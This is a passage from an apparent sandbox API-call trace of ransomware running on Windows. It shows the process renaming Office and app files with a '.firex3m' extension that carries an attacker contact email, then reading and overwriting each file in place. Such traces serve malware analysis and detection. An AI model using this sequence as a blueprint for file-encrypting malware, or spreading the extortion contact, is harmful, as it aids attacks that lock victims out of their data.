Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterAppList.scale-125_contrast-black.png" (normalized: "c:\\program files\\windowsapps\\9e2f88e3.twitter_5.7.1.0_x86__wgeqdkkx372wm\\assets\\twitterapplist.scale-125_contrast-black.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.509] Sleep (dwMilliseconds=0x1) [0243.519] SysReAllocStringLen (in: pbstr=0x313ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterAppList.scale-125.png", len=0x6c | out: pbstr=0x313ff7c*="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterAppList.scale-125.png") returned 1 [0243.519] GetProcessHeap () returned 0x630000 [0243.519] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4f28) returned 0x6fe3bb0 [0243.519] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterAppList.scale-125.png" (normalized: "c:\\program files\\windowsapps\\9e2f88e3.twitter_5.7.1.0_x86__wgeqdkkx372wm\\assets\\twitterapplist.scale-125.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.519] Sleep (dwMilliseconds=0x1) [0243.544] SysReAllocStringLen (in: pbstr=0x313ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Analysis Services\\AS OLEDB\\110\\Resources\\1033\\msmdsrv.rll", len=0x7e | out: pbstr=0x313ff7c*="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Analysis Services\\AS OLEDB\\110\\Resources\\1033\\msmdsrv.rll") returned 1 [0243.544] GetProcessHeap () returned 0x630000 [0243.544] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4ed4) returned 0x6fe3bb0 [0243.544] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Analysis Services\\AS OLEDB\\110\\Resources\\1033\\msmdsrv.rll" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilesx86\\microsoft analysis services\\as oledb\\110\\resources\\1033\\msmdsrv.rll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6d8 [0243.545] CloseHandle (hObject=0x6d8) returned 1 [0243.545] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x313ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0243.545] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Analysis Services\\AS OLEDB\\110\\Resources\\1033\\msmdsrv.rll" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilesx86\\microsoft analysis services\\as oledb\\110\\resources\\1033\\msmdsrv.rll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Analysis Services\\AS OLEDB\\110\\Resources\\1033\\msmdsrv.rll.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilesx86\\microsoft analysis services\\as oledb\\110\\resources\\1033\\msmdsrv.rll.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0243.546] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x313ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0243.546] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Analysis Services\\AS OLEDB\\110\\Resources\\1033\\msmdsrv.rll.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x313fc6c | out: lpFindFileData=0x313fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf17ee5c3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf17ee5c3, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xcb32840, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x113870, dwReserved0=0x6c006c, dwReserved1=0x69002e, cFileName="msmdsrv.rll.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="MSMDSR~2.FIR")) returned 0x6d4e00 [0243.546] FindClose (in: hFindFile=0x6d4e00 | out: hFindFile=0x6d4e00) returned 1 [0243.546] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Analysis Services\\AS OLEDB\\110\\Resources\\1033\\msmdsrv.rll.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilesx86\\microsoft analysis services\\as oledb\\110\\resources\\1033\\msmdsrv.rll.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6d8 [0243.546] GetProcessHeap () returned 0x630000 [0243.546] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x706cf78 [0243.547] GetProcessHeap () returned 0x630000 [0243.547] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x6ee88b8 [0243.547] SetFilePointerEx (in: hFile=0x6d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0243.547] ReadFile (in: hFile=0x6d8, lpBuffer=0x706cf78, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x313ff0c, lpOverlapped=0x0 | out: lpBuffer=0x706cf78*, lpNumberOfBytesRead=0x313ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0251.165] GetProcessHeap () returned 0x630000 [0251.165] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7318440 [0251.165] SetFilePointerEx (in: hFile=0x6d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0251.165] WriteFile (in: hFile=0x6d8, lpBuffer=0x6ee88b8*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x313ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6ee88b8*, lpNumberOfBytesWritten=0x313ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0251.166] SetFilePointerEx (in: hFile=0x6d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0251.166] WriteFile (in: hFile=0x6d8, lpBuffer=0x6ef3cb7*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x313ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6ef3cb7*, lpNumberOfBytesWritten=0x313ff0c*=0x20, lpOverlapped=0x0) returned 1 [0251.172] SetFilePointerEx (in: hFile=0x6d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0251.172] WriteFile (in: hFile=0x6d8, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x313ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x313ff0c*=0x4, lpOverlapped=0x0) returned 1 [0251.172] CloseHandle (hObject=0x6d8) returned 1 [0251.172] GetProcessHeap () returned 0x630000 [0251.172] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6ee88b8 | out: hHeap=0x630000) returned 1 [0251.172] GetProcessHeap () returned 0x630000 [0251.172] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x706cf78 | out: hHeap=0x630000) returned 1 [0251.172] GetProcessHeap () returned 0x630000 [0251.172] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7318440 | out: hHeap=0x630000) returned 1 [0251.172] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x313ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0251.172] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Analysis Services\\AS OLEDB\\110\\Resources\\1033\\msmdsrv.rll.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x313fcc4 | out: lpFindFileData=0x313fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf17ee5c3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf17ee5c3, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x5ba91c63, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x113894, dwReserved0=0xc3c7496, dwReserved1=0x706cf70, cFileName="msmdsrv.rll.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="MSMDSR~2.FIR")) returned 0x6d5380 [0251.173] FindClose (in: hFindFile=0x6d5380 | out: hFindFile=0x6d5380) returned 1 [0251.173] Sleep (dwMilliseconds=0x1) [0254.428] SysReAllocStringLen (in: pbstr=0x313ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\AppTiles\\Weather_TileWide.scale-100.png", len=0x91 | out: pbstr=0x313ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\AppTiles\\Weather_TileWide.scale-100.png") returned 1 [0254.429] GetProcessHeap () returned 0x630000 [0254.429] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4e50) returned 0x6fe3bb0 [0254.429] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\AppTiles\\Weather_TileWide.scale-100.png" (normalized: "c:\\program files\\windowsapps\\microsoft.bingweather_4.18.56.0_neutral_split.scale-100_8wekyb3d8bbwe\\assets\\apptiles\\weather_tilewide.scale-100.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0254.429] Sleep (dwMilliseconds=0x1) [0254.432] SysReAllocStringLen (in: pbstr=0x313ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\AppTiles\\Weather_TileMediumSquare.scale-100.png", len=0x99 | out: pbstr=0x313ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\AppTiles\\Weather_TileMediumSquare.scale-100.png") returned 1 [0254.432] GetProcessHeap () returned 0x630000 [0254.432] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4e48) returned 0x6fe3bb0 [0254.432] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\AppTiles\\Weather_TileMediumSquare.scale-100.png" (normalized: "c:\\program files\\windowsapps\\microsoft.bingweather_4.18.56.0_neutral_split.scale-100_8wekyb3d8bbwe\\assets\\apptiles\\weather_tilemediumsquare.scale-100.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0254.452] Sleep (dwMilliseconds=0x1) [0254.472] SysReAllocStringLen (in: pbstr=0x313ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\RIPPLE\\RIPPLE.INF", len=0x6c | out: pbstr=0x313ff7c*="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\RIPPLE\\RIPPLE.INF") returned 1 [0254.472] GetProcessHeap () returned 0x630000 [0254.472] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4dc4) returned 0x6fe3bb0 [0254.472] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\RIPPLE\\RIPPLE.INF" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\ripple\\ripple.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6d8 [0254.579] CloseHandle (hObject=0x6d8) returned 1 [0254.579] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x313ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0254.579] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\RIPPLE\\RIPPLE.INF" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\ripple\\ripple.inf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\RIPPLE\\RIPPLE.INF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\ripple\\ripple.inf.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0254.580] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x313ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0254.580] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\RIPPLE\\RIPPLE.INF.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x313fc6c | out: lpFindFileData=0x313fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27bee2a4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27bee2a4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27c144f9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1e7, dwReserved0=0x6f0063, dwReserved1=0x74006e, cFileName="RIPPLE.INF.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="RIPPLE~1.FIR")) returned 0x6d51c0 [0254.580] FindClose (in: hFindFile=0x6d51c0 | out: hFindFile=0x6d51c0) returned 1 [0254.580] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\RIPPLE\\RIPPLE.INF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\ripple\\ripple.inf.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6d8 [0254.581] GetProcessHeap () returned 0x630000 [0254.581] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x201) returned 0x6d11f0 [0254.581] GetProcessHeap () returned 0x630000 [0254.581] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x201) returned 0x6d0fc8 [0254.581] SetFilePointerEx (in: hFile=0x6d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0254.581] ReadFile (in: hFile=0x6d8, lpBuffer=0x6d11f0, nNumberOfBytesToRead=0x1e0, lpNumberOfBytesRead=0x313ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6d11f0*, lpNumberOfBytesRead=0x313ff0c*=0x1e0, lpOverlapped=0x0) returned 1 [0254.583] GetProcessHeap () returned 0x630000 [0254.583] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7317b80 [0254.583] SetFilePointerEx (in: hFile=0x6d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0254.583] WriteFile (in: hFile=0x6d8, lpBuffer=0x6d0fc8*, nNumberOfBytesToWrite=0x1e0, lpNumberOfBytesWritten=0x313ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6d0fc8*, lpNumberOfBytesWritten=0x313ff0c*=0x1e0, lpOverlapped=0x0) returned 1 [0254.584] SetFilePointerEx (in: hFile=0x6d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0254.584] WriteFile (in: hFile=0x6d8, lpBuffer=0x6d11a7*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x313ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6d11a7*, lpNumberOfBytesWritten=0x313ff0c*=0x20, lpOverlapped=0x0) returned 1 [0254.590] SetFilePointerEx (in: hFile=0x6d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0254.590] WriteFile (in: hFile=0x6d8, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x313ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x313ff0c*=0x4, lpOverlapped=0x0) returned 1 [0254.590] CloseHandle (hObject=0x6d8) returned 1 [0254.590] GetProcessHeap () returned 0x630000 [0254.590] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6d0fc8 | out: hHeap=0x630000) returned 1 [0254.590] GetProcessHeap () returned 0x630000 [0254.590] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6d11f0 | out: hHeap=0x630000) returned 1 [0254.590] GetProcessHeap () returned 0x630000 [0254.590] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7317b80 | out: hHeap=0x630000) returned 1 [0254.590] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x313ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0254.590] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\RIPPLE\\RIPPLE.INF.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x313fcc4 | out: lpFindFileData=0x313fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27bee2a4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27bee2a4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x5db2c40b, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x20b, dwReserved0=0x313fd20, dwReserved1=0x6d11f0, cFileName="RIPPLE.INF.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="RIPPLE~1.FIR")) returned 0x6d5440 [0254.590] FindClose (in: hFindFile=0x6d5440 | out: hFindFile=0x6d5440) returned 1 [0254.590] Sleep (dwMilliseconds=0x1) [0254.603] SysReAllocStringLen (in: pbstr=0x313ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\REFINED\\THMBNAIL.PNG", len=0x6f | out: pbstr=0x313ff7c*="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\REFINED\\THMBNAIL.PNG") returned 1 [0254.603] GetProcessHeap () returned 0x630000 [0254.603] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4da8) returned 0x6fe3bb0 [0254.603] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\REFINED\\THMBNAIL.PNG" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\refined\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6d8 [0254.603] CloseHandle (hObject=0x6d8) returned 1 [0254.603] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x313ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0254.604] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\REFINED\\THMBNAIL.PNG" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\refined\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\REFINED\\THMBNAIL.PNG.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\refined\\thmbnail.png.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0254.608] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x313ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0254.608] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\REFINED\\THMBNAIL.PNG.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x313fc6c | out: lpFindFileData=0x313fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27bee2a4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27bee2a4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27bee2a4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x3d79, dwReserved0=0x5f0032, dwReserved1=0x63005b, cFileName="THMBNAIL.PNG.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="THMBNA~1.FIR")) returned 0x6d51c0 [0254.608] FindClose (in: hFindFile=0x6d51c0 | out: hFindFile=0x6d51c0) returned 1 [0254.609] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\REFINED\\THMBNAIL.PNG.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\refined\\thmbnail.png.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6cc [0254.609] GetProcessHeap () returned 0x630000 [0254.609] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x3d81) returned 0x72571e8 [0254.610] GetProcessHeap () returned 0x630000 [0254.610] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x3d81) returned 0x7442c98 [0254.610] SetFilePointerEx (in: hFile=0x6cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0254.610] ReadFile (in: hFile=0x6cc, lpBuffer=0x72571e8, nNumberOfBytesToRead=0x3d60, lpNumberOfBytesRead=0x313ff0c, lpOverlapped=0x0 | out: lpBuffer=0x72571e8*, lpNumberOfBytesRead=0x313ff0c*=0x3d60, lpOverlapped=0x0) returned 1 [0255.910] GetProcessHeap () returned 0x630000 [0255.910] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7317090 [0255.910] SetFilePointerEx (in: hFile=0x6cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0255.910] WriteFile (in: hFile=0x6cc, lpBuffer=0x7442c98*, nNumberOfBytesToWrite=0x3d60, lpNumberOfBytesWritten=0x313ff0c, lpOverlapped=0x0 | out: lpBuffer=0x7442c98*, lpNumberOfBytesWritten=0x313ff0c*=0x3d60, lpOverlapped=0x0) returned 1 [0255.910] SetFilePointerEx (in: hFile=0x6cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0255.910] WriteFile (in: hFile=0x6cc, lpBuffer=0x74469f7*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x313ff0c, lpOverlapped=0x0 | out: lpBuffer=0x74469f7*, lpNumberOfBytesWritten=0x313ff0c*=0x20, lpOverlapped=0x0) returned 1 [0255.910] SetFilePointerEx (in: hFile=0x6cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0255.911] WriteFile (in: hFile=0x6cc, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x313ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x313ff0c*=0x4, lpOverlapped=0x0) returned 1 [0255.911] CloseHandle (hObject=0x6cc) returned 1 [0255.911] GetProcessHeap () returned 0x630000 [0255.911] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7442c98 | out: hHeap=0x630000) returned 1 [0255.911] GetProcessHeap () returned 0x630000 [0255.911] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x72571e8 | out: hHeap=0x630000) returned 1 [0255.911] GetProcessHeap () returned 0x630000 [0255.911] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7317090 | out: hHeap=0x630000) returned 1 [0255.912] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x313ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0255.912] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\REFINED\\THMBNAIL.PNG.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x313fcc4 | out: lpFindFileData=0x313fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27bee2a4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27bee2a4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x5e7b0aff, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x3d9d, dwReserved0=0xc3c7496, dwReserved1=0x72571e0, cFileName="THMBNAIL.PNG.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="THMBNA~1.FIR")) returned 0x6d5340 [0255.912] FindClose (in: hFindFile=0x6d5340 | out: hFindFile=0x6d5340) returned 1 [0255.912] Sleep (dwMilliseconds=0x1) [0256.916] SysReAllocStringLen (in: pbstr=0x313ff7c*=0x0, psz="C:\\Program Files\\Microsoft 